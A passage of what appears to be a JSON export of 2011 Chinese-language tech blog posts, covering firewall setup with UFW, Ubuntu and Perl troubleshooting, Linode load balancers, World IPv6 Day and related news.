    "body": "<a href=\"http://www.lexmark.com/\">Lexmark</a> X5495，這是安裝過程的畫面... 連續的兩張：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/c57ej.webp\" /><img src=\"https://i.gslin.com/imgur/c57ej.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/vfS6d.webp\" /><img src=\"https://i.gslin.com/imgur/vfS6d.jpg\" alt=\"\" /></picture>\r\n\r\n你到底讓不讓我選啊...",
    "title": "Lexmark 的驅動程式..."
  },
  {
    "id": "2634",
    "body": "之前都是自己設定 <a href=\"http://www.netfilter.org/\">iptables</a>，這次灌完家裡的系統後用 <a href=\"https://help.ubuntu.com/community/UFW\">UFW</a> 設定，對於基本的 firewall 功能來說相當簡單，但也夠用了：\r\n<blockquote><pre>sudo ufw default deny incoming\r\nsudo ufw default allow outgoing\r\nsudo ufw enable</pre></blockquote>\r\n如果有需要開某些 port 也可以設定，比起之前自己設 <code>INPUT</code> policy 方便...",
    "title": "用 UFW 控制 iptables"
  },
  {
    "id": "2635",
    "body": "這是之前在 <a href=\"http://slashdot.org/\">Slashdot</a> 上看到的消息，主要是因為 <a href=\"http://www.linux.com/\">Linux</a> 上的 <a href=\"http://www.mozilla.com/firefox/\">Firefox</a> 6 (還很久...) 將能夠使用 <a href=\"http://gcc.gnu.org/\">GCC</a> <code>-O3</code> 編譯：「<a href=\"http://linux.slashdot.org/story/11/04/30/230259/Firefox-On-Linux-Gets-Faster-Builds-mdash-To-Be-Fast-As-Windows\">Firefox On Linux Gets Faster Builds — To Be Fast As Windows</a>」。\r\n\r\n在 <a href=\"http://www.virtualbox.org/\">VirtualBox</a> 裡面裝好 Windows 後用 Firefox 4 (把 extensions 都裝上去)，居然比 Linux 下 native Firefox 還快，就有種淡淡地哀愁...\r\n\r\n繼續等吧...",
    "title": "Linux 上的 Firefox 將會跑得更快..."
  },
  {
    "id": "2637",
    "body": "這個 bug 只有在某些站才會出現，像是 <a href=\"http://www.slideshare.net/\">SlideShare</a> 的投影片一定會閃，<a href=\"http://www.infoq.com/\">InfoQ</a> 也有同樣情況。是 <code>allowTransparency</code> 產生的問題嗎？不清楚...\r\n\r\n<a href=\"http://www.ubuntu.com/\">Ubuntu</a> 目前系統內是使用 10.2 版，換成 10.3 (目前是 beta) 就會正常了，同樣是透過 <a href=\"https://help.launchpad.net/Packaging/PPA\">PPA</a> 就可以安裝：\r\n<blockquote><pre>sudo apt-add-repository ppa:sevenmachines/flash\r\nsudo apt-get update\r\nsudo apt-get install flashplugin64-installer</pre></blockquote>\r\n不過 10.3 對 <a href=\"http://www.bridgebase.com/\">BBO</a> 有點感冒啊...",
    "title": "Ubuntu x86_64 上 Flash 畫面會閃爍的問題..."
  },
  {
    "id": "2638",
    "body": "<img src=\"https://i.gslin.com/imgur/WVkzN.jpg\" alt=\"\" />\r\n\r\n圖片取自『<a href=\"http://instagr.am/p/EDVs_/\">「デジタルサイネージで電力使用状況表示して「節電にご協力ください」って何か変じゃね？」 </a>』。不知道近況如何...",
    "title": "快兩個月了，仍然是很驚人..."
  },
  {
    "id": "2639",
    "body": "感謝 <a href=\"http://gugod.org/\">gugod</a> 提供的新版把 <a href=\"http://www.ubuntu.com/\">Ubuntu</a> 11.04 (Natty) 下無法 compile 的問題搞定了：「<a href=\"https://github.com/gugod/App-perlbrew/issues/64\">Ubuntu 11.04 and perlbrew installation problems</a>」。主要的原因在於 library 放置的路徑改變，造成 <a href=\"http://www.perl.org/\">Perl</a> 的 <code>Configure</code> 抓不到。\r\n\r\n順便紀錄一下，有時 <a href=\"http://www.cpan.org/SITES.html\">CPAN mirror</a> 更新不夠快，<a href=\"http://search.cpan.org/dist/App-cpanminus/bin/cpanm\">cpanm</a> 安裝可能會失敗，這個問題加上 <code>cpan.cpantesters.org</code> mirror 就可以解決：(放到 <code>.bashrc</code> 裡)\r\n<blockquote><code>export PERL_CPANM_OPT=\"--mirror http://cpan.nctu.edu.tw/ --mirror http://cpan.cpantesters.org/\"</code></blockquote>",
    "title": "Ubuntu 11.04 下使用 App::perlbrew 安裝 Perl 5.12.3"
  },
  {
    "id": "2642",
    "body": "參考 blog.gslin.com 的「<a href=\"http://blog.gslin.com/2011/05/pixnet-system-administrator.html\">PIXNET 徵人：System Administrator 一名</a>」，這邊就不列出來了...",
    "title": "PIXNET 徵人：System Administrator 一名"
  },
  {
    "id": "2643",
    "body": "很多地方看到這則新聞，隨便引用個 (<a href=\"http://www.osnews.com/\">OSNews</a>)：「<a href=\"http://www.osnews.com/story/24728/Facebook_Hired_PR_Firm_To_Secretly_Smear_Google\">Facebook Hired PR Firm To Secretly Smear Google</a>」。\r\n\r\n本來只有傳出「公關公司受到某公司的要求要抹黑 <a href=\"http://www.google.com/\">Google</a>」，大家狂猜是哪些公司，是 <a href=\"http://www.apple.com/\">Apple</a> 還是 <a href=\"http://www.microsoft.com/\">Microsoft</a>，結果最後是 <a href=\"http://www.facebook.com/\">Facebook</a> 在被爆破後承認了：「<a href=\"http://www.thedailybeast.com/blogs-and-stories/2011-05-12/facebook-busted-in-clumsy-smear-attempt-on-google/2/\">Facebook Busted in Clumsy Smear on Google</a>」。\r\n\r\n另外一個可以看的說明是 <a href=\"http://en.wikipedia.org/wiki/Fear,_uncertainty_and_doubt\">FUD</a> (中文版：<a href=\"http://zh.wikipedia.org/wiki/FUD\">FUD</a>)，解釋這類行為。",
    "title": "Facebook 僱用公關公司，試著攻擊 (抹黑) Google..."
  },
  {
    "id": "2645",
    "body": "第一次看到這個訊息...\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/cQD4G.webp\" /><img src=\"https://i.gslin.com/imgur/cQD4G.jpg\" alt=\"\" /></picture>",
    "title": "Blogger..."
  },
  {
    "id": "2647",
    "body": "我以為這個 project 作者沒打算要更新了... 不過 wiki 上 Changelog 過了三天還是沒更新，mailing list 好像也怪怪的，沒看到更新的公告信件。拿 <a href=\"http://gmane.org/\">Gmane</a> 收到的公告當來源吧：「<a href=\"http://permalink.gmane.org/gmane.network.bit-torrent.rtorrent.devel/2411\">LibTorrent 0.12.8 and rTorrent 0.8.8 released</a>」。\r\n\r\n這次還是 unstable release，修了一些東西...",
    "title": "rTorrent 出新版了..."
  },
  {
    "id": "2648",
    "body": "<a href=\"http://wordpress.org/extend/plugins/w3-total-cache/\">W3 Total Cache</a> 最近的版本更新把一堆站台弄壞 (很像是 <a href=\"http://naked.dustindiaz.com/\">css naked day</a>？XD)，可以在 Plugin 網頁的回報資訊看出來：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/2ECQJ.webp\" /><img src=\"https://i.gslin.com/imgur/2ECQJ.jpg\" alt=\"\" /></picture>\r\n\r\n後來在 <a href=\"http://wordpress.org/tags/w3-total-cache?forum_id=10\">forum</a> 上看到有人提：「<a href=\"http://wordpress.org/support/topic/plugin-w3-total-cache-minify-just-wont-work\">[Plugin: W3 Total Cache] Minify just won't work</a>」，於是先手動把 minify 功能關閉測試，發現這樣就正常許多，發現看起來應該是跟 minify 有關的問題...\r\n\r\n有遇到的人不需要把 W3 Total Cache 全關，還是可以用其他功能加速並降低負載...",
    "title": "W3 Total Cache 0.9.2 與 0.9.2.1 的問題..."
  },
  {
    "id": "2652",
    "body": "在 <a href=\"http://news.perlfoundation.org/2011/05/perl-514.html\">The Perl Foundation News</a> 上有 <a href=\"http://www.perl.org/\">Perl</a> 5.14.0 釋出的公告：「<a href=\"http://news.perlfoundation.org/2011/05/perl-514.html\">Perl 5.14</a>」。講了一堆新功能，比較重要的其實是：\r\n<blockquote>It is important to note that this version marks the official end of support for Perl 5.10.</blockquote>\r\n換句話說，目前使用 Perl 5.10 的系統都... (狂抓頭)\r\n\r\n這包括 <a href=\"http://www.debian.org/\">Debian</a> 全系列 (<a href=\"http://packages.debian.org/squeeze/perl\">squeeze/perl</a> 以及之前的 <a href=\"http://packages.debian.org/lenny/perl\">lenny/perl</a>)，以及 <a href=\"http://www.ubuntu.com/\">Ubuntu</a> 目前所有 release 版本 (包括前陣子才出的 <a href=\"https://wiki.ubuntu.com/NattyReleaseSchedule\">Natty</a>)。\r\n\r\n這要怎麼玩啦，並不是 <a href=\"http://search.cpan.org/dist/App-perlbrew/\">perlbrew</a> + <a href=\"http://search.cpan.org/dist/App-cpanminus/\">cpanminus</a> 就可以這樣搞啊... 預定明年四月出 5.16.0，這代表現在在跑的 5.12.3 準備再活一年？每個版號只活兩年是怎樣...",
    "title": "Perl 5.14.0..."
  },
  {
    "id": "2654",
    "body": "<a href=\"http://www.qemu.org/\">QEMU</a> 的作者 <a href=\"http://bellard.org/\">Fabrice Bellard</a> 寫了一個 javascript-based 的 x86 emulator：「<a href=\"http://bellard.org/jslinux/\">Javascript PC Emulator</a>」，技術細節在「<a href=\"http://bellard.org/jslinux/tech.html\">Javascript PC Emulator - Technical Notes</a>」。\r\n\r\n其中實做了 <a href=\"http://en.wikipedia.org/wiki/Intel_80486\">486</a>-based CPU，沒有浮點運算能力，另外因為這是 for fun project，所以很多細節沒做 (<a href=\"http://www.linux.com/\">Linux</a> 開機沒用到的功能都沒做)。以「<a href=\"http://en.wikipedia.org/wiki/X86_instruction_listings\">x86 instruction listings</a>」這邊列出來的指令集，要做到 486 等級，大約 150 條上下？\r\n\r\n真是感謝現在的瀏覽器把 javascript 做的這麼快...",
    "title": "在瀏覽器裡面的「Linux 模擬器」"
  },
  {
    "id": "2655",
    "body": "「<a href=\"http://www.plurk.com/API/2/\">Plurk API 2.0 beta</a>」總算是提供 <a href=\"http://oauth.net/core/1.0a/\">OAuth Core 1.0a</a> 介面讓人使用了，想把之前「<a href=\"http://blog.gslin.org/archives/2011/04/01/2556/twitter-%E8%BD%89-plurk-%E7%9A%84%E7%A8%8B%E5%BC%8F/\">Twitter 轉 Plurk 的程式...</a>」的程式改寫，不過新的 API 不管怎麼註冊都不會過...\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/q7JaF.webp\" /><img src=\"https://i.gslin.com/imgur/q7JaF.jpg\" alt=\"\" /></picture>\r\n\r\n有人有註冊成功的嗎？\r\n\r\n<del>PS：另外「* 如果這不是一個網頁應用程式，請留空白即可」好像也怪怪的，我記得應該反過來？</del>",
    "title": "Plurk API：OAuth Core 1.0a"
  },
  {
    "id": "2657",
    "body": "之前都是一般的自訂頁面，這次居然噴出 <a href=\"http://httpd.apache.org/\">Apache</a> 的...\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/wnSZU.webp\" /><img src=\"https://i.gslin.com/imgur/wnSZU.jpg\" alt=\"\" /></picture>\r\n\r\n看起來是 HTTPS only，我用其他瀏覽器看 HTTP 版本是正常的... (至少在沒登入的情況下)",
    "title": "很久沒看到 Twitter 噴出 Apache 錯誤訊息..."
  },
  {
    "id": "2659",
    "body": "code 放在「<a href=\"https://gist.github.com/982195\">Plurk 新版 OAuth Core 1.0a 的 twitter to plurk</a>」，其中裡面用到的 <a href=\"http://www.sqlite.org/\">SQLite</a> 的表格結構請參考「<a href=\"http://blog.gslin.org/archives/2011/04/01/2556/twitter-%E8%BD%89-plurk-%E7%9A%84%E7%A8%8B%E5%BC%8F/\">Twitter 轉 Plurk 的程式...</a>」這篇文章的說明。把本來是 plaintext password 的程式換過去後看起來舒服多了，不過中間寫起來讓人頗 orz...\r\n\r\n先是一直沒辦法透過 <a href=\"http://search.cpan.org/dist/OAuth-Lite/\">OAuth::Lite</a> 送出 UTF8 內容，於是決定換成 <a href=\"http://search.cpan.org/dist/Net-OAuth/\">Net::OAuth</a>，結果因為文件內的範例都沒講到重點而倒地不起...\r\n\r\n然後遇到 <a href=\"http://www.plurk.com/API/2\">Plurk API 2.0 beta</a> 的文件沒有列出是 GET 或是 POST，於是又試了老半天...\r\n\r\n文件真的很重要...",
    "title": "支援新版 Plurk API (OAuth Core 1.0a) 的 Twitter To Plurk Script"
  },
  {
    "id": "2663",
    "body": "昨天入手了一台 <a href=\"http://www.htc.com/www/product/flyer/overviewb.html\">HTC Flyer</a>，有一些比較簡單的感想，首先是硬體的部份：\r\n<ul>\r\n\t<li>USB 的部份，雖然看起來是特製接頭，但實際上是可以用 micro USB 連接到電腦，以 5V 1A (5W) 充電。不過同一個孔可以插特製接頭充電 (翻了 <a href=\"http://en.wikipedia.org/wiki/Universal_Serial_Bus\">Universal Serial Bus</a> 條目，沒看到這個接頭的名稱)，變壓器的 OUTPUT 是 9V 1.67A (15W)，看起來會快不少。</li>\r\n</ul>\r\n再來是軟體的部份：\r\n<ul>\r\n\t<li>沒有「簡潔」主題，變成要自己把所有東西移除後再放入要的工具及 link。</li>\r\n\t<li>裝了 <a href=\"http://www.amazon.com/\">Amazon</a> 的 <a href=\"https://market.android.com/details?id=com.amazon.kindle\">Kindle for Android</a> 會發現翻頁速度很頓，可能是還沒對 Tablet 調整的關係。\r\n\t<li>拿來玩 <a href=\"http://www.rovio.com/index.php?page=angry-birds\">Angry Birds</a> 果然很棒 XD</li>\r\n</li>\r\n</ul>\r\n接下來就是看 XDA 上面的後續了...",
    "title": "HTC Flyer"
  },
  {
    "id": "2664",
    "body": "<a href=\"http://www.linode.com/\">Linode</a> 在「<a href=\"http://forum.linode.com/viewtopic.php?t=7169\">NodeBalancers - Managed Load Balancers</a>」這邊公開了 NodeBalancer (lbass) 服務，目前在 beta 中，想要測試的人可以開 ticket 詢問。另外，API 文件也已經先公開，可以在「<a href=\"http://www.linode.com/api/nodebalancer\">NodeBalancer API</a>」這邊看到。\r\n\r\n以 API 提供的功能看起來還算 okay，這樣就不需要自己用 Linode 提供的 IP Failover 並且在上面架 <a href=\"http://haproxy.1wt.eu/\">HAProxy</a> server...\r\n\r\n不過有些細節還是得等測試後才知道。像是 trusted IP 問題，我在「<a href=\"http://blog.gslin.com/2011/05/elb-ip.html\">ELB 的 IP 信任問題...</a>」有提過 <a href=\"http://aws.amazon.com/ec2/\">EC2</a> 的同樣問題 (前幾天用 ELB security group 解掉了)。",
    "title": "Linode 也推出 Load balancer 服務... (剛開始 beta)"
  },
  {
    "id": "2665",
    "body": "前情提要請參考上一篇「<a href=\"http://blog.gslin.org/archives/2011/05/28/2664/linode-%E4%B9%9F%E6%8E%A8%E5%87%BA-load-balancer-%E6%9C%8D%E5%8B%99-%E5%89%9B%E9%96%8B%E5%A7%8B-beta/\">Linode 也推出 Load balancer 服務... (剛開始 beta)</a>」。\r\n\r\n<a href=\"http://www.linode.com/\">Linode</a> 處理的速度很快，開了 ticket 後只用了 12mins 就回應了...\r\n\r\n首先是 data center，目前只有 Newark, NJ 這個機房有提供，而 concurrent connection 是 100 個：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/RJBlW.webp\" /><img src=\"https://i.gslin.com/imgur/RJBlW.jpg\" alt=\"\" /></picture>\r\n\r\n先開起來然後看一下介面：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/rgtwg.webp\" /><img src=\"https://i.gslin.com/imgur/rgtwg.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/csfjY.webp\" /><img src=\"https://i.gslin.com/imgur/csfjY.jpg\" alt=\"\" /></picture>\r\n\r\n接下來就卡關了，因為目前在 NJ 沒有 node，等下再開兩台玩看看吧...",
    "title": "Linode 的 NodeBalancers 第一次嘗試..."
  },
  {
    "id": "2667",
    "body": "這哪招 :o\r\n\r\n<a href=\"http://imgur.com/mIbWT\"><picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/mIbWT.webp\" /><img src=\"https://i.gslin.com/imgur/mIbWT.jpg\" alt=\"\" /></picture></a>\r\n\r\n<strong>Update</strong>：看起來是被 <a href=\"http://adblockplus.org/\">Adblock Plus</a> 擋掉某些 request 造成的，強制 ABP 更新列表之後就好了。",
    "title": "Twitter..."
  },
  {
    "id": "2668",
    "body": "離 expire 時間還很久，但是從 wildcard SSL certificate 換成普通的 SSL certificate：\r\n\r\n<a href=\"https://i.gslin.com/imgur/uSSPt.webp\"><picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/uSSPt.webp\" /><img src=\"https://i.gslin.com/imgur/uSSPt.jpg\" alt=\"\" /></picture></a>\r\n\r\n不過 <a href=\"https://gist.github.com/\">gist</a> 沒換，用的仍然是 wildcard 這組：\r\n\r\n<a href=\"https://i.gslin.com/imgur/fzhPw.webp\"><picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/fzhPw.webp\" /><img src=\"https://i.gslin.com/imgur/fzhPw.jpg\" alt=\"\" /></picture></a>",
    "title": "GitHub 換 SSL certificate"
  },
  {
    "id": "2670",
    "body": "在 <a href=\"http://ruby.tw/post/5753776342/ruby-tuesday-19\">Ruby Tuesday #19</a> 與 <a href=\"http://rgba.tumblr.com/\">RGBA_</a> 上都帶過 <a href=\"http://www.htc.com/www/product/flyer/overviewb.html\">HTC Flyer</a> 讓一些朋友摸摸看...\r\n\r\n買了這台最方便的就是開會與外面聊天的時候查資料... 尤其是 600x1024 的關係，很多沒有對 mobile 特製的網頁也是可以轉 90 度後用 1024x600 看。也因為如此，我看<a href=\"http://zh.wikipedia.org/wiki/%E7%BB%B4%E5%9F%BA%E7%99%BE%E7%A7%91\">維基百科</a>是切到正常版看。\r\n\r\n不過買了 Flyer 從來沒在上面看過電子書... <a href=\"https://kindle.amazon.com/\">Amazon Kindle</a> 比較適合讀文字，在上面看了不少東西。\r\n\r\n會特地寫「HTC Flyer 的問題」是因為有個問題一直解不了，不確定是什麼問題，只好用 <a href=\"http://www.htc.com/www/product/desire/overview.html\">Desire</a> 拍下 Flyer 的錯誤畫面：\r\n\r\n<iframe width=\"600\" height=\"400\" src=\"http://www.youtube.com/embed/Z-jNZ4f_kPU\" frameborder=\"0\" allowfullscreen></iframe>\r\n\r\n如果有解法的話麻煩留個 comment 吧 :o",
    "title": "HTC Flyer 的問題..."
  },
  {
    "id": "2672",
    "body": "<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/zUNzf.webp\" /><img src=\"https://i.gslin.com/imgur/zUNzf.jpg\" alt=\"\" /></picture>\r\n\r\n預定在 6/8 舉辦的 <a href=\"http://en.wikipedia.org/wiki/World_IPv6_Day\">World IPv6 Day</a> 快要到了，因為是以 UTC 時間來算，所以換算成台灣的時間，是早上八點開始。在「<a href=\"http://www.worldipv6day.org/participants/\">Participating websites</a>」有列出參與的站台以及會使用的 domain (也就是直接加上 AAAA record)。\r\n\r\n可以看到 <a href=\"http://www.google.com/\">Google</a> 是拿 <code>www.google.com</code> 以及 <code>www.youtube.com</code> 出來參戰，<a href=\"http://www.facebook.com/\">Facebook</a> 也會將 <code>www.facebook.com</code> 參與。\r\n\r\n這樣已經很大沒錯，但另外一個重點是 <a href=\"http://www.youtube.com/\">YouTube</a> 的 video data 本身有沒有打算要上這一波的測試。\r\n\r\n另外剛剛發現 <a href=\"http://www.hinet.net/\">HiNet</a> 已經建立了自己的 192.88.99.1 anycast address 負責 <a href=\"http://en.wikipedia.org/wiki/6to4\">6to4</a> (<a href=\"http://nopa.tw/45\">nopa.tw/45</a>)，而 <a href=\"http://www.twgate.net/\">TWGate</a> 則是透過香港的 <a href=\"http://www.he.net/\">Hurricane Electric</a> 轉。\r\n\r\n另外兩家大的 ISP 就不提了，都是 Hurricane Electric 在美西的點...",
    "title": "World IPv6 Day"
  },
  {
    "id": "2673",
    "body": "好像每次有密碼被流出來就會有人做類似的事情：「<a href=\"http://it.slashdot.org/story/11/06/06/1321257/A-Brief-Sony-Password-Analysis\">A Brief Sony Password Analysis</a>」。\r\n\r\n這次分析的內容中有個不一樣的部份，大概是因為有不少「資料」可以「參考」，所以就拿來交叉比對了：\r\n<blockquote>67% of accounts on both Sony and Gawker use the same password.</blockquote>\r\noops... :(",
    "title": "Sony 密碼分析..."
  },
  {
    "id": "2674",
    "body": "在「<a href=\"http://www.aaronpeters.nl/blog/google-plus1-button-performance-review\">Google +1 Button Performance Review</a>」這篇中，<a href=\"http://www.aaronpeters.nl/\">Aaron Peters</a> 對 Google +1 按鈕所提供的方法感到疑惑，因為官方所提供的方法效率其實並不好。\r\n\r\n首先先拿出官方的 sample：\r\n<blockquote><code>&lt;!-- Place this tag in your head or just before your close body tag --&gt;\r\n&lt;script type=\"text/javascript\" src=\"http://apis.google.com/js/plusone.js\"&gt;&lt;/script&gt;\r\n\r\n&lt;!-- Place this tag where you want the +1 button to render --&gt;\r\n&lt;g:plusone&gt;&lt;/g:plusone&gt;</code></blockquote>\r\n即使 <a href=\"http://www.google.com/\">Google</a> 給了建議「Place this tag in your head or just before your close body tag」，但這仍然會延遲 onload 的時間。\r\n\r\n另外一個更糟的是，目前 Google 的伺服器會把使用者從 <code>http://apis.google.com/js/plusone.js</code> 導到 <code>http<strong>s</strong>://apis.google.com/js/plusone.js</code>，多一個重導又使得 onload 時間又更久了。接下來是噴飯的「<code>Cache-Control: private, max-age=360</code>」，這使得 proxy server 無法 cache，而且因為 cache 的時間過短而經常要向 server 要資料。\r\n\r\n再來是這個 js 沒有 minified，造成 gzip 後仍有 628bytes 的差距。然後在這個 script 裡面還可以看到特地為 <a href=\"http://www.blogger.com/\">Blogger</a>「減速」使用 sync loading (喔喔)。\r\n\r\n從以上的情況，可以看出來 Google +1 這個產品符合了不少產品成功的要件... XD\r\n\r\nAnyway，真正的重點在文章最後面，他有引用一段 async loading 的程式碼讓大家用，雖然不能解決所有問題，但至少可以讓 onload 事件儘快觸發... (這是其中一個很大的問題)",
    "title": "Google +1 按鈕的效率問題"
  },
  {
    "id": "2675",
    "body": "回家發現螢幕過電沒畫面，看了一下購買日期，過三年保固期在討錢了... 只好先把電腦電源關掉，明天下班的時候去光華商場買一顆回來。在新的螢幕到之前只好先用 laptop 撐著。(剛好前陣子買新的 laptop...)\r\n\r\n查了一下資料，有支援 2560x1440 WQHD 解析度的只有 <a href=\"http://www.apple.com/\">Apple</a>、<a href=\"http://www.dell.com/\">Dell</a>、<a href=\"http://www.eizo.com/\">EIZO</a> 這三家有出，拿來寫 code 偶而看看動畫，應該會買 Dell 的吧...\r\n\r\n這個月看起來又得花不少錢了...",
    "title": "家裡的螢幕爛了..."
  },
  {
    "id": "2677",
    "body": "在<a href=\"http://www.cht.com.tw/\">中華電信</a>的網站上可以看到公告：「<a href=\"http://www.cht.com.tw/CompanyCat.php?CatID=4&amp;NewsID=4333&amp;Page=HotNewsDetail\">中華電信HiNet ADSL及光世代感恩回饋</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/BEGLD.webp\" /><img src=\"https://i.gslin.com/imgur/BEGLD.jpg\" alt=\"\" /></picture>\r\n\r\n中華電信這次與行政院一搭一唱演得還不賴，繼續打趴其他不長進的固網業者 (參考行政院的「<a href=\"http://www.ey.gov.tw/ct.asp?xItem=75806&amp;ctNode=2313\">數位匯流發展方案（2010-2015年）</a>」，在 P.26)。\r\n\r\n雖然口號是類似於「提昇普及率，所以大幅調降高速率光纖的費率」，但這次調整最大的實質改變其實是光世代上行速率的提昇 (10M/2M 變成 12M/<strong>3M</strong>、20M/2M 變成 20M/<strong>4M</strong>、50M/3M 變成 50M/<strong>5M</strong>、100M/5M 變成 100M/<strong>10M</strong>)，這使得許多 P2P 應用會更有機會 (對，壹電視的 IPTV box 使用 P2P 會是其中之一)。\r\n\r\n等家裡的 cable 合約到期再來看看要怎麼處理好了...",
    "title": "中華又降價了..."
  },
  {
    "id": "2678",
    "body": "<a href=\"http://www.worldipv6day.org/\">World IPv6 Day</a> 結束了，結束後第一個看到公告的是 <a href=\"https://www.facebook.com/\">Facebook</a> 在「<a href=\"https://www.facebook.com/note.php?note_id=10150198443513920\">Exciting Results from World IPv6 Day</a>」提到的：\r\n<blockquote>Based on the encouraging results, we’ve decided to leave our <a href=\"https://developers.facebook.com/\">Developer site</a> dual-stacked, supporting both IPv4 and IPv6. And we will continue to adapt our entire code base and tools to support IPv6.</blockquote>\r\n也就是 <code>developers.facebook.com</code> 仍然會保留 IPv6 &amp; IPv4 位置：\r\n<blockquote><code>developers.facebook.com\r\ndevelopers.facebook.com. 30     IN      AAAA    2620:0:1c00:0:face:b00c:0:7</code></blockquote>\r\n不過這次 World IPv6 Day 以 Facebook 的量也才看到 1 million users 啊...\r\n\r\n另外觀察到 <code>www.limelightnetworks.com</code> 還繼續有 IPv6 服務：\r\n<blockquote><code>www.limelightnetworks.com. 128  IN      CNAME   llnw.vo.llnwd.net.\r\nllnw.vo.llnwd.net.      257     IN      AAAA    2402:6800:720:11:230:48ff:fed9:f114\r\nllnw.vo.llnwd.net.      257     IN      AAAA    2402:6800:720:11:230:48ff:fe8d:aa74</code></blockquote>\r\n另外這個比較特別，不確定是還沒拔掉還是決定要繼續跑：\r\n<blockquote><code>www.hinet.net.          300     IN      AAAA    2001:b000:180:3::7</code></blockquote>",
    "title": "Facebook 將繼續提供 IPv6 的服務..."
  },
  {
    "id": "2680",
    "body": "剛剛把 gslin.{com,info,net} 的 DNS hosting 從 <a href=\"http://www.everydns.net/\">EveryDNS</a> 上面搬出來，改丟到 <a href=\"http://www.linode.com/\">Linode</a> 上面代管。(看起來目前付 USD$20/month 的主要用途只有這個？:o)\r\n\r\n理論上是無痛轉換，但如果連線上有遇到問題的話可以寫信給我 (上面的 <a href=\"http://blog.gslin.org/about/\">About &amp; Contact</a> 有聯絡方式)，另外在 <a href=\"http://twitter.com/\">Twitter</a> 上也可以找到我...",
    "title": "從 EveryDNS 搬出來..."
  },
  {
    "id": "2681",
    "body": "在 <a href=\"http://www.mozilla.com/firefox\">Firefox</a> 裡，我們可以藉由「預設所有的 cookie 都只能是 session only」加上「例外名單」，做出「關閉瀏覽器就把白名單以外的 cookie 清掉」的功能，但在 <a href=\"http://www.google.com/chrome/\">Google Chrome</a> 裡面，用內建的功能做不到這件事情。(他只能做到關閉時全部清除，沒辦法把白名單清除在外)\r\n\r\n剛剛找到一個 extension 實做了這個功能：「<a href=\"https://chrome.google.com/webstore/detail/gieohaicffldbmiilohhggbidhephnjj\">Vanilla Cookie Manager</a>」，在每次打開 Google Chrome 時會清除所有白名單以外的 cookie，也算是做到這個功能了... (雖然我比較喜歡在關掉的時候處理)\r\n\r\n繼續找 Google Chrome 上對應的套件...\r\n\r\n",
    "title": "Google Chrome 的 Cookie 隱私功能..."
  },
  {
    "id": "2682",
    "body": "<a href=\"http://www.icann.org/\">ICANN</a> 將允許真正的 top level domain，也就是像 <code>.google</code> 這種 domain：「<a href=\"http://tech.slashdot.org/story/11/06/17/202245/ICANN-To-Allow-brandname-Top-Level-Domains\">ICANN To Allow .brandname Top-Level Domains</a>」。\r\n\r\n雖然要價 USD$185000，不過這個金額對大公司來說是小 case，應該還是會有蠻多公司去買...",
    "title": "真正的「Top level domain」..."
  },
  {
    "id": "2685",
    "body": "<a href=\"http://www.ubuntu.com/\">Ubuntu</a> 的 <a href=\"http://unity.ubuntu.com/\">Unity</a> 在 11.04 很不穩，常常跑一跑就自己變得很慢，或是當掉... 在公司裡蠻多用 Ubuntu 的人是不用 Unity，不過我還是堅持用，反正也用習慣了...\r\n\r\n剛剛又變得很慢，於是就把 browser 關一關重開機，結果重開機後進入登入畫面就當住了，滑鼠與鍵盤都沒反應... XD\r\n\r\n多重開幾次後發現只要碰到 keyboard 就會當，滑鼠的部份沒問題。先懷疑是 keyboard 硬體有問題，換成 ACK-230 後還是一樣，跑 <a href=\"http://www.memtest.org/\">memtest86+</a> 半輪也沒問題 (8GB RAM 跑起來還真久，跑到 43% 沒問題就不想測了)，於是就試著 recovery mode 看看，發現鍵盤是正常的...\r\n\r\n然後就試著死馬當活馬醫，先 <code>dpkg -l | grep usb</code> 把所有 usb 相關的套件全部用 <code>apt-get install --reinstall</code> 重裝，然後再把 <a href=\"http://projects.gnome.org/gdm/\">gdm</a> 也重裝進去，順便跑 fsck 清一下，重開後居然活過來了...\r\n\r\n也不知道問題到底是出在哪裡... :o",
    "title": "差點重灌 Ubuntu..."
  },
  {
    "id": "2687",
    "body": "去寧夏夜市吃宵夜的時候看到<a href=\"http://www.plps.tp.edu.tw/\">蓬萊國小</a>掛上「雲端未來學校」的招牌：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/5852719129\"><img src=\"http://farm6.static.flickr.com/5066/5852719129_937c8bf84b_b.jpg\" alt=\"\" /></a>\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/5853381758\"><img src=\"http://farm6.static.flickr.com/5226/5853381758_5a932ef6da_b.jpg\" alt=\"\" /></a>\r\n\r\n可以看到 <a href=\"http://www.microsoft.com/\">Microsoft</a> 的 logo，所以回家後找了一下微軟的新聞稿：「<a href=\"http://www.microsoft.com/taiwan/casestudies/case/case_110613_plps.aspx\">蓬萊國小善用科技落實一對一的個別化特色學習</a>」，主要是引入 Windows 7 平板電腦。\r\n\r\n還... 蠻有趣的？",
    "title": "微軟「雲端未來學校」"
  },
  {
    "id": "2690",
